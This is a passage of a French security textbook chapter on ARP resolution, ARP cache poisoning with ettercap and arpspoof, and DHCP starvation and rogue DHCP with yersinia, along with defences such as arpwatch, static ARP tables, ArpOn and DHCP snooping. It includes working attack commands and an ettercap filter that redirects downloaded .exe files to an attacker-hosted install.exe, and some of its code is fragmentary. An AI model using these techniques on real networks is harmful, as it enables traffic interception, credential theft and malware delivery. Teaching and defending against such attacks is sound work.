Dans le jargon, l’opération qui consiste à trouver cette adresse MAC s’appelle la résolution, on parle
alors de résolution ARP.
L’objectif d’ARP est de résoudre l’adresse de niveau 3 (l’adresse IPv4) en une adresse de niveau 2
(l’adresse MAC). Une adresse IP est une adresse logique, par opposition à l’adresse MAC qui est une
adresse physique.
En conséquence, cette adresse IP peut être attribuée par l’administrateur du réseau ou l’utilisateur. Il
est donc possible de fournir l’information de l’adresse IP de destination au système qui veut
communiquer.
ARP trouve l’adresse MAC du système de destination en utilisant l’adresse de niveau 3, l’adresse
IPv4.
Restrict
ed
Dans le scénario où la station PC01 veut communiquer avec la station PC02, où
aucune communication ne s’est encore déroulée, le PC01 ne peut pas encore connaître l’adresse
MAC de PC02, tout comme le PC02 ne peut pas connaître l’adresse MAC du PC01. Pour afficher la
liste des adresses MAC connues par le périphérique il faut utiliser la commande arp -a (point 2 dans
le schéma).
Le switch qui connecte les deux machines ne possède lui non plus aucune information pour le
moment, puisqu’il ne remplit sa table de correspondance qu’à partir du moment où au moins une
trame est arrivée par ses ports, ce qui lui permet de mettre en face du port concerné l’adresse MAC
source de la trame entrante.
Pour résoudre l’adresse MAC de PC02, le PC01 va faire appel au protocole ARP. ARP utilise une trame
Broadcast de niveau 2 (point 3 dans le schéma). Ce processus est une requête ARP. L’objectif de ce
type de trame est triple :
Une trame broadcast (diffusion) de niveau 2 a comme adresse MAC de destination FFFF.FFFF.FFFF, ce
qui demande au switch d’effectuer une action de flooding (inondation), c’est-à-dire que la trame est
alors diffusée sur l’intégralité du domaine de collision.
Mais le champ MAC Source contient bien l’adresse MAC de la station PC01. Le switch peut
commencer à remplir sa table, qui indique dorénavant que si une trame entrante contient dans le
champ MAC Destination l’adresse de la station PC01, elle doit être dirigée spécifiquement vers le
port qui connecte la station PC01.
La trame envoyée par le protocole ARP du PC01 arrive à destination de tous les hôtes, dont la station
PC02 qui va dès lors répondre à la trame qui lui est destinée.
Comment ? Cette trame est une requête ARP, la station PC02 et la station PC03 doivent observer
l’adresse de niveau 3 indiquée pour savoir si elles doivent y répondre.
En ce qui concerne la station PC03, l’adresse ne correspond pas et la trame est simplement ignorée
par la station qui ne répond pas.
Par contre, pour la station PC02, l’adresse correspond et la station doit répondre à cette requête
ARP. La réponse comporte en en-tête :
l’adresse de destination de niveau 2, soit celle de la station PC01 qui est connue puisqu’une
trame émanant d’elle vient d’être reçue ;
La requête ARP de type 1 est souvent appelée "Who has", comme le montre la trace Wireshark ci-
dessous :
Restrict
ed
Requête ARP avec Wireshark
Avant d’envoyer sa réponse, le PC02 enregistre dans sa table ARP les informations du PC01 (point 4
dans le schéma).
Cette réponse de résolution ARP est envoyée vers PC01 et transite par le switch qui les connecte, lui
permettant au passage d’apprendre l’adresse MAC de la station PC02 et de remplir la table (point 5
dans le schéma). Comme le switch connaît l’adresse MAC du PC01, il peut la diffuser uniquement sur
le port connecté au PC01 (microsegmentation), ce qui permet à d’autres machines de communiquer
en même temps.
Une fois la requête arrivée sur la station PC01, les futures communications entre PC01 et PC02 se
feront directement, car les futures trames auront été renseignées avec l’adresse MAC de destination
correcte et le switch intermédiaire jouera pleinement son rôle en ne transmettant les trames que sur
les ports qui correspondent à la table MAC (microsegmentation).
Restrict
ed
Les OS utilisent les requêtes ARP type 2 comme des "keep-alive" pour les entrées existantes dans
leur cache ARP (unicast). La validité d’une donnée dans le cache ARP est de plus au moins 10 minutes
avec une revalidation toutes les 2 minutes sous Windows.
Et si une machine veut en joindre une autre sur Internet, comme nous l’avons vu au début de ce
chapitre, elle va envoyer ses données au routeur. Donc toutes les communications externes passent
par le routeur.
Une attaque simple consiste à falsifier la table ARP des deux machines (la machine source et le
routeur) dont on veut intercepter le trafic.
En se fiant aux réponses (type 2) (comme arpspoof de dSniff) : envoi de réponses ARP
modifiées non sollicitées à la victime. L’attaque sera plus difficile à détecter car ces réponses
sont utilisées par les OS pour mettre à jour leur cache ARP. Cette attaque ne fonctionnera
que pour les entrées existantes.
En se fiant aux requêtes ARP (type 1) : envoi de requêtes ARP modifiées. Cette technique
peut être efficace si une politique d’insertion des couples IP/MAC est implémentée dans le
système (comme arpwatch). L’utilisation d’unicast rend cette attaque presque indétectable
(fonctionnement normal dans le cadre d’une mise à jour).
Restrict
ed
2. Empoisonnement du cache ARP (pratique)
Ettercap et Arpspoof permettent d’effectuer des attaques de type Man In The Middle en s’appuyant
sur le protocole ARP.
a. Installation d’Ettercap
Et en mode console :
ettercap -i eth0 -q -T -M arp:remote -P repoison_arp // //
ettercap [OPTIONS] [TARGET1] [TARGET2]
-i : interface d’écoute.
-T : interface texte.
-P : plugins.
TARGET1 : IP victime.
TARGET2 : IP routeur.
Restrict
ed
Utilisation d’Ettercap en mode texte
L’utilisation de protocoles non sécurisés comme HTTP ou FTP sur le poste attaqué permet de
visualiser toutes les informations de connexion et les données dans la console Ettercap.
b. Configuration d’Ettercap
Modifiez les privilèges afin de permettre au processus de s’exécuter en tant que root :
[privs]
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default
Il est possible d’intercepter du trafic SSHv1 (dont les identifiants de connexion sont échangés en clair)
avec Ettercap en modifiant le section redir_command_on/off et en décommentant les deux lignes
suivantes :
Restrict
ed
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p
tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p
tcp --dport %port -j REDIRECT --to-port %rport"
Si le navigateur de la cible autorise l’utilisation de SSHv1, il est possible de faire une attaque par
affaiblissement de protocole où :
La victime qui se connecte à un site utilisant le SSL recevra un nouveau certificat qui remplacera le
certificat SSL officiel. Si ce nouveau certificat est accepté, l’attaque réussit, le pirate peut voir les
données en clair. Malheureusement, de nombreux utilisateurs acceptent, sans réfléchir, les
nouveaux certificats, même les certificats autosignés.
Heureusement, les navigateurs web proposent des messages plus informatifs qu’avant. Les
illustrations suivantes nous montrent les évolutions des messages informatifs lorsque les certificats
SSL ne sont pas sûrs.
Restrict
ed
Acceptation de certificat
Les nouveaux navigateurs demandent des confirmations supplémentaires afin de ne pas valider
facilement des certificats autosignés :
Problème de certificat
Il faut savoir que de nombreux sites internet utilisent un certificat autosigné car le certificat
autosigné est gratuit. Une autorité reconnue de confiance doit normalement signer les certificats,
mais faute de moyens (argents, temps), il arrive souvent que les certificats restent autosignés même
en production. La plupart des utilisateurs valident donc les certificats sans en comprendre toutes ces
subtilités.
Restrict
ed
Des attaques plus sophistiquées parviennent même à mettre en place des certificats signés par une
autorité de confiance présentant le nom du serveur légitime.
Il existe de nombreux plugins intéressants que vous pouvez activer soit via les arguments -P, soit en
appuyant sur p dans l’interface console.
remote_browser : affiche dans votre navigateur web les sites visités par les utilisateurs du
réseau.
Si le plugin recherché n’existe pas, il est possible de le développer soi-même en C. Pour ce faire,
Ettercap fournit un squelette nommé dummy. Nous pouvons aussi travailler avec les sources des
autres plugins qui permettront d’appréhender ce monde mal documenté qui ne donne plus aucune
limite à Ettercap.
Bien que le plugin soit une source inépuisable d’extensions, les filtres Ettercap sont simples à mettre
en œuvre et, pour la majorité des cas, suffisants !
Les conditions :
if (CONDITION)
{
}
if (CONDITION)
{
}
else
{
}
Restrict
ed
if (ip.proto == TCP) # Si paquet TCP alors
if (tcp.src == 22 || tcp.dst == 22) # Si port TCP source ou port
TCP
# destination vaut 22 alors
if (search(DECODED.data, "etter")) # S'il y a etter dans les
données
if (regex(DECODED.data, ".*login.*")) # Si l'expression régulière
# ".*login.*" est trouvée
alors.
Les actions :
msg("Spoofed\n"); # Affiche Spoofed dans la console
Ettercap
log(DATA.data, "./logfile"); # Enregistre les données dans le fichier
logfile.
inject("./fake_response"); # Injecte dans le paquet le fichier
fake_response
drop() # Supprime le paquet
tcp.dst -= 1 # Décrémente le port TCP de
destination.
exec("./program"); # Exécute un programme
Cette base vous permet, via les conditions et actions, de générer simplement de
nouvelles fonctionnalités.
Nous allons vous présenter un exemple de filtre simple mais impressionnant. Nous allons remplacer
tous les fichiers .exe par un nouveau fichier .exe de notre choix.
Chaque fois qu’un utilisateur du réseau va télécharger un fichier exécutable via HTTP, nous allons
récupérer la demande, puis dire au navigateur que le fichier a changé d’emplacement.
# si l'on trouve un paquet TCP avec : application, une requête est demandée.
log(DATA.data, "/tmp/mispelled_ettercap.log");
replace("WINDOWS", "LINUX");
msg("SUBSTITUTION 1 WINDOWS->LINUX\n");
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
Restrict
ed
}
msg("redirection--exe\n");
|| ip.dst ==
} else {
http://ipserveurfichierexecutable/install.exe
Location: http://ipserveurfichierexecutable/install.exe
Restrict
ed
");
Le fichier généré est utilisable par Ettercap. Il suffit d’utiliser l’option -F.
/usr/share/ettercap/etter_filter_exe
Un logiciel proposant de nombreux outils sous Windows est Caïn & Abel. Même si l’outil est âgé, il
propose, via une interface graphique facile, de nombreux outils difficilement disponibles sous cet OS.
Attention, ce programme est parfois considéré comme potentiellement dangereux par les antivirus.
Il est simple d’identifier une attaque MITM sur un réseau, il suffit de vérifier régulièrement si le cache
ARP de la passerelle a été modifié.
Son installation sous Debian se fait via la commande : apt install arpwatch
Il est possible de contrer cette attaque en utilisant une table ARP statique.
Sous Windows :
C:\> arp -a
Sous Linux :
root@deb-pc-01:/# arp -a
Restrict
ed
Sur un routeur Cisco :
! Ajout d'une entrée statique dans la table ARP du routeur (arpa = Ethernet)
Cette technique permet de fixer les correspondances MAC/IP. Cela reste possible avec des petits
réseaux de particuliers. Sur de grands réseaux d’entreprise, il est possible de recourir à des solutions
matérielles telles que des switches dotés d’une fonctionnalité Port Security.
! ou
! ou
! Ou
ArpOn (ARP Handler Inspection) est une autre solution utilisant trois types de techniques anti-
spoofing ARP :
SARPI (Static ARP Inspection) pour les réseaux configurés de manière statique sans DHCP.
Restrict
ed
DARPI (Dynamic ARP Inspection) pour les réseaux configurés dynamiquement avec DHCP.
HARPI (Hybrid ARP Inspection) pour les réseaux configurés de manière statique et
dynamique.
Son installation sous Debian se fait via la commande : apt install arpon.
# static entry:
192.168.1.1 58:ac:78:10:b9:77
Il faut ensuite lancer ArpOn sous forme de démon (équivalent à un service sous Windows) :
Il existe d’autres moyens pour intercepter un trafic à destination d’Internet (plus exactement de la
passerelle du sous-réseau) dans un réseau local. La technique suivante est performante et simple à
mettre en œuvre.
Dans les réseaux modernes, l’adresse IP utilisée par les postes clients est généralement fournie par
un serveur DHCP. Cela permet au client de recevoir automatiquement toutes les informations
nécessaires à sa connectivité de manière automatique, c’est-à-dire au minimum une adresse IP, un
masque de sous-réseau, une passerelle et l’adresse du serveur de noms (DNS). Et c’est justement la
passerelle qui relaie les informations en provenance et à destination des autres réseaux.
Il suffit donc de remplacer l’adresse de la passerelle par celle du pirate pour que ce
dernier intercepte le trafic !
Inondation du serveur DHCP légitime jusqu’à ce que sa zone de réservation soit saturée. Le
serveur DHCP ainsi saturé ne sera plus en mesure de répondre aux demandes des postes
clients.
Activation d’un serveur DHCP non autorisé sur le segment ayant comme adresse de
passerelle celle du pirate. Le serveur DHCP clandestin peut maintenant répondre aux
requêtes des clients et fournir une adresse de passerelle erronée afin d’intercepter le trafic.
Activation du routage sur le poste du pirate afin de permettre au trafic provenant d’un
utilisateur d’attendre la passerelle, et inversement.
Restrict
ed
Voici comment installer un serveur DHCPv4 sur une machine Debian :
nano /etc/network/interfaces
Voici un exemple de configuration utilisant l’adresse IP fixe suivante : 10.0.0.55/24 avec une
passerelle 10.0.0.254.
auto eth0
address 10.0.0.55
netmask 255.255.255.0
network 10.0.0.0
broadcast 10.0.0.255
gateway 10.0.0.254
ifdown eth0
ifup eth0
nano /etc/dhcp/dhcpd.conf
Pour réaliser l’inondation du serveur DHCP légitime, il existe de nombreuses solutions comme
l’utilisation d’un script Python (avec la librairie Scapy). Une autre solution simple est l’utilisation
de Yersinia.
Yersinia est un outil très puissant qui exploite de nombreuses failles réseau.
Restrict
ed
apt install yersinia
yersinia -I
│ No DoS Description │
Sélectionnez "sending DISCOVER packet" (1) pour inonder le serveur DHCP de requête "discovery".
Il est même possible d’activer directement un serveur DHCP clandestin avec la sélection "creating
DHCP rogue server" (2).
Pour se protéger des serveurs DHCP clandestins, il faut disposer d’un commutateur ayant la
fonctionnalité "DHCP snooping". Cette technique permet de laisser passer dans le commutateur les
paquets "DHCP_Offer" uniquement pour les ports reliés aux serveurs DHCP. Ainsi, un serveur
clandestin ne pourra répondre à aucune demande.
Restrict
ed